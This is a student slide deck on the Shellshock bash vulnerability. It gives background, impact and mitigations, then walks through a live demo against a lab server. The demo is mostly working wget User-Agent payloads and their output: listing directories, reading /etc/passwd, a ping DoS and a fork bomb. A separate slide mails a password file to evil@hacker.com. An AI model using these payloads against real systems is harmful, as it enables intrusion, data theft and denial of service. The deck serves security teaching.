# SHELLSHOCK

Apoorv Krishak, Navaneeth Krishnan Subramanian, Prerit Chandok

# Index

# /bin/bash

- Unix shell written for the GNU Project as a free software replacement for the Bourne shell (sh)
- Default command-line interface
- Can be used to execute system commands

# Environment variables

```
nav@ubuntu:~$ env
XDG_VTNR=7
XDG_SESSION_ID=c2
CLUTTER_IM_MODULE=xim
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/nav
SESSION=ubuntu
GPG_AGENT_INFO=/home/nav/.gnupg/S.gpg-agent:0:1
SHELL=/bin/bash
TERM=xterm-256color
VTE_VERSION=4205
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
WINDOWID=54525962
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1507
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=nav
```

# Exporting environment variables

```
nav@ubuntu:~$ export sva="This class is fun"
nav@ubuntu:~$ echo $sva
This class is fun
```

# Bash functions

```
nav@ubuntu:~$ sample_function() { echo "Hi $USER, the date is: "; date; }
nav@ubuntu:~$ sample_function
Hi nav, the date is:
Wed Dec  7 09:45:41 PST 2016
```

Functions can also be stored in environment variables and called

# The Shellshock Vulnerability

- Remote command execution vulnerability in bash
- Bash executes trailing commands when importing a function stored in an environment variable

https://www.whitehatsec.com/wp-content/uploads/Shellshock-Image.png

# Common exploits

**test.cgi**

```
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
```

Payload

```
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
```

# Common exploits

**test.cgi**

```
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
/bin/cat etc/passwd
```

Payload

```
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
```

# Common exploits

- Fork bomb: () { :; }; :(){ :|: & };:
- DoS attack bot: () { :; }; ping -s 1000000 <victim IP>
- Theft of data: () { :; }; cat ~/.secret/passwd | mail -s "This password file" evil@hacker.com

# Impact

- Considered one of the most dangerous vulnerabilities that went undetected for a long period
- Prevalent since bash v. 1.03 released in 1989, up until bash v. 4+
- Higher impact than Heartbleed
  - CVSS v2 Base Score: 10/10!

# Mitigations

- Prevalent on any *NIX OS – subsequent patches did not resolve, latest patch required
- Ensure insulation of bash from user agent
- shellshocker.net has OS-specific instructions

# DEMO TIME

# Check if server responds to curl

curl -v http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ curl -v http://192.168.0.31:8080/cgi-bin/index.cgi
*   Trying 192.168.0.31...
* Connected to 192.168.0.31 (192.168.0.31) port 8080 (#0)
> GET /cgi-bin/index.cgi HTTP/1.1
> Host: 192.168.0.31:8080
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 08 Dec 2016 17:55:30 GMT
< Server: Apache/2.2.31 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/html
<
Hello! Welcome to this server! Enjoy!
* Connection #0 to host 192.168.0.31 left intact
Apoorvs-MacBook-Air:Shellshock itsApoorv$
```

# Get directory listing with 'ls'

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -lrt" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/ls -lrt" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 12:59:02--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi'

index.cgi                   [ <=>                                ]     286  --.-KB/s    in 0.001s

2016-12-08 12:59:02 (224 KB/s) - 'index.cgi' saved [286]

Apoorvs-MacBook-Air:Shellshock itsApoorv$
Apoorvs-MacBook-Air:Shellshock itsApoorv$
Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi

total 20
-rw-r--r-- 1 badbot badbot 779 Dec 11  2004 test-cgi
-rw-r--r-- 1 badbot badbot 294 Dec 11  2004 printenv
-rwxr-xr-x 1 root   root    71 Dec  7 02:02 index_shellshock.cgi
-rw-r--r-- 1 root   root    71 Dec  8 03:47 vul.sh
-rwxr-xr-x 1 root   root    96 Dec  8 12:28 index.cgi
Apoorvs-MacBook-Air:Shellshock itsApoorv$
```

# Get root directory structure

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -l /" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/ls -l /" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 13:00:01--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi.1'

index.cgi.1                 [ <=>                                ]   1.19K  --.-KB/s    in 0.001s

2016-12-08 13:00:01 (1.04 MB/s) - 'index.cgi.1' saved [1214]

Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi.1

total 88
drwxr-xr-x   2 root root  4096 Dec  6 21:40 bin
drwxr-xr-x   3 root root  4096 Dec  7 00:06 boot
drwxr-xr-x   2 root root  4096 Dec  6 21:39 cdrom
drwxr-xr-x  15 root root  4260 Dec  8 04:18 dev
drwxr-xr-x 132 root root 12288 Dec  8 12:27 etc
drwxr-xr-x   3 root root  4096 Dec  6 21:40 home
lrwxrwxrwx   1 root root    32 Dec  6 21:40 initrd.img -> boot/initrd.img-3.0.0-12-generic
drwxr-xr-x  20 root root  4096 Dec  6 21:40 lib
drwx------   2 root root 16384 Dec  6 21:38 lost+found
drwxr-xr-x   3 root root  4096 Dec  7 01:18 media
drwxr-xr-x   2 root root  4096 Oct  9  2011 mnt
drwxr-xr-x   2 root root  4096 Dec  6 21:43 opt
dr-xr-xr-x 165 root root     0 Dec  8 04:18 proc
```

# Display /etc/passwd file

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/cat /etc/passwd" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 13:01:13--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi.2'

index.cgi.2                 [ <=>                               ]   1.59K  --.-KB/s    in 0s

2016-12-08 13:01:13 (4.49 MB/s) - 'index.cgi.2' saved [1626]

Apoorvs-MacBook-Air:Shellshock itsApoorv$
Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi.2

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
```

# Get executable binaries present in the system

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ls -lR /bin" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/ls -lR /bin" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 13:02:48--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi.3'

index.cgi.3                 [ <=>                                ]   7.68K  --.-KB/s    in 0.02s

2016-12-08 13:02:48 (382 KB/s) - 'index.cgi.3' saved [7860]

Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi.3

/bin:
total 8440
-rwxr-xr-x 1 root root  916692 May 18  2011 bash
-rwxr-xr-x 1 root root   30164 Feb 20  2011 bunzip2
-rwxr-xr-x 1 root root 1490940 Sep  1  2011 busybox
-rwxr-xr-x 1 root root   30164 Feb 20  2011 bzcat
lrwxrwxrwx 1 root root       6 Dec  6 21:38 bzcmp -> bzdiff
-rwxr-xr-x 1 root root    2140 Feb 20  2011 bzdiff
lrwxrwxrwx 1 root root       6 Dec  6 21:38 bzegrep -> bzgrep
-rwxr-xr-x 1 root root    4874 Feb 20  2011 bzexe
lrwxrwxrwx 1 root root       6 Dec  6 21:38 bzfgrep -> bzgrep
-rwxr-xr-x 1 root root    3642 Feb 20  2011 bzgrep
-rwxr-xr-x 1 root root   30164 Feb 20  2011 bzip2
```

# Ping an IP from the server

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ping -c 5 192.168.0.4" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/ping -c 5 192.168.0.4" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 13:04:07--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi.4'

index.cgi.4                 [     <=>                            ]     499   125 B/s    in 4.0s

2016-12-08 13:04:11 (125 B/s) - 'index.cgi.4' saved [499]

Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi.4

PING 192.168.0.4 (192.168.0.4) 56(84) bytes of data.
64 bytes from 192.168.0.4: icmp_req=1 ttl=64 time=0.119 ms
64 bytes from 192.168.0.4: icmp_req=2 ttl=64 time=0.402 ms
64 bytes from 192.168.0.4: icmp_req=3 ttl=64 time=0.545 ms
64 bytes from 192.168.0.4: icmp_req=4 ttl=64 time=0.267 ms
64 bytes from 192.168.0.4: icmp_req=5 ttl=64 time=0.236 ms

--- 192.168.0.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3997ms
rtt min/avg/max/mdev = 0.119/0.313/0.545/0.148 ms
Apoorvs-MacBook-Air:Shellshock itsApoorv$
```

# Use server as DoS bot

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/ping -c 5 -s 100 192.168.0.24" http://192.168.0.31:8080/cgi-bin/index.cgi

```
Apoorvs-MacBook-Air:Shellshock itsApoorv$ wget -U "() { test;};echo \"Content-type: text/plain\";
 echo; echo; /bin/ping -c 5 -s 100 192.168.0.24" http://192.168.0.31:8080/cgi-bin/index.cgi
--2016-12-08 13:05:26--  http://192.168.0.31:8080/cgi-bin/index.cgi
Connecting to 192.168.0.31:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: 'index.cgi.5'

index.cgi.5                 [<=>                                ]       0  --.-KB/s
index.cgi.5                 [  <=>                              ]     162  11.5 B/s    in 14s

2016-12-08 13:05:40 (11.5 B/s) - 'index.cgi.5' saved [162]

Apoorvs-MacBook-Air:Shellshock itsApoorv$
Apoorvs-MacBook-Air:Shellshock itsApoorv$ cat index.cgi.5

PING 192.168.0.24 (192.168.0.24) 100(128) bytes of data.

--- 192.168.0.24 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4031ms

Apoorvs-MacBook-Air:Shellshock itsApoorv$
```

# Now that we have all the info we need, let's DoS this sucker

wget -U "() { :; }; func(){ func|func & };func" http://192.168.0.31:8080/cgi-bin/index.cgi

```
badbot@ubuntu:~$ ps -aux
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  1.0  0.2   3200  1812 ?        Ss   13:20   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:20   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    13:20   0:00 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    13:20   0:00 [kworker/0:0]
root         5  0.6  0.0      0     0 ?        S    13:20   0:00 [kworker/u:0]
root         6  0.0  0.0      0     0 ?        S    13:20   0:00 [migration/0]
root         7  0.0  0.0      0     0 ?        S    13:20   0:00 [migration/1]
root         8  0.0  0.0      0     0 ?        S    13:20   0:00 [kworker/1:0]
root         9  0.0  0.0      0     0 ?        S    13:20   0:00 [ksoftirqd/1]
root        10  0.0  0.0      0     0 ?        S    13:20   0:00 [kworker/0:1]
root        11  0.0  0.0      0     0 ?        S<   13:20   0:00 [cpuset]
root        12  0.0  0.0      0     0 ?        S<   13:20   0:00 [khelper]
root        13  0.0  0.0      0     0 ?        S<   13:20   0:00 [netns]
root        14  0.1  0.0      0     0 ?        S    13:20   0:00 [kworker/u:1]
root        15  0.0  0.0      0     0 ?        S    13:20   0:00 [sync_supers]
root        16  0.0  0.0      0     0 ?        S    13:20   0:00 [bdi-default]
root        17  0.0  0.0      0     0 ?        S<   13:20   0:00 [kintegrityd]
root        18  0.0  0.0      0     0 ?        S<   13:20   0:00 [kblockd]
root        19  0.0  0.0      0     0 ?        S<   13:20   0:00 [ata_sff]
root        20  0.0  0.0      0     0 ?        S    13:20   0:00 [khubd]
root        21  0.0  0.0      0     0 ?        S<   13:20   0:00 [md]
root        22  0.0  0.0      0     0 ?        S    13:20   0:00 [kworker/1:1]
root        24  0.0  0.0      0     0 ?        S    13:20   0:00 [khungtaskd]
root        25  0.0  0.0      0     0 ?        S    13:20   0:00 [kswapd0]
root        26  0.0  0.0      0     0 ?        SN   13:20   0:00 [ksmd]
root        27  0.0  0.0      0     0 ?        SN   13:20   0:00 [khugepaged]
root        28  0.0  0.0      0     0 ?        S    13:20   0:00 [fsnotify_mark]
root        29  0.0  0.0      0     0 ?        S    13:20   0:00 [ecryptfs-kthr]
root        30  0.0  0.0      0     0 ?        S<   13:20   0:00 [crypto]
root        38  0.0  0.0      0     0 ?        S<   13:20   0:00 [kthrotld]
```

```
local/apache2/cgi-bin/index.cgi
daemon   32147  0.0  0.0   3036   260 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32153  0.0  0.0   3040   276 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32154  0.0  0.0   3044   272 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32155  0.0  0.0   3040   280 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32159  0.0  0.0   3064   300 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32166  0.0  0.0   3032   252 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32168  0.0  0.0   3044   272 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32174  0.0  0.0   3032   252 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32175  0.0  0.0   3036   264 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32181  0.0  0.0   3036   264 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32182  0.0  0.0   3036   268 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32183  0.0  0.0   3036   268 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32184  0.0  0.0   3032   264 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32186  0.0  0.0   3032   264 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32187  0.0  0.0   3044   272 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32191  0.0  0.0   3036   260 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32192  0.0  0.0   3040   468 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32195  0.0  0.0   3044   280 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32196  0.0  0.0   3040   264 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
daemon   32200  0.0  0.0   3040   492 ?        R    13:17   0:00 /bin/bash /usr/
local/apache2/cgi-bin/index.cgi
^C^C
badbot@ubuntu:~/Desktop$
```

# References


1. Enache, T. (2014). *Shellshock vulnerability.* Retrieved from OWASP: https://www.owasp.org/images/1/1b/Shellshock_-_Tudor_Enache.pdf
2. Symantec. (2014, September 25). *All you need to know about the bash bug vulnerability*. Retrieved from Symantec: https://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability


Questions?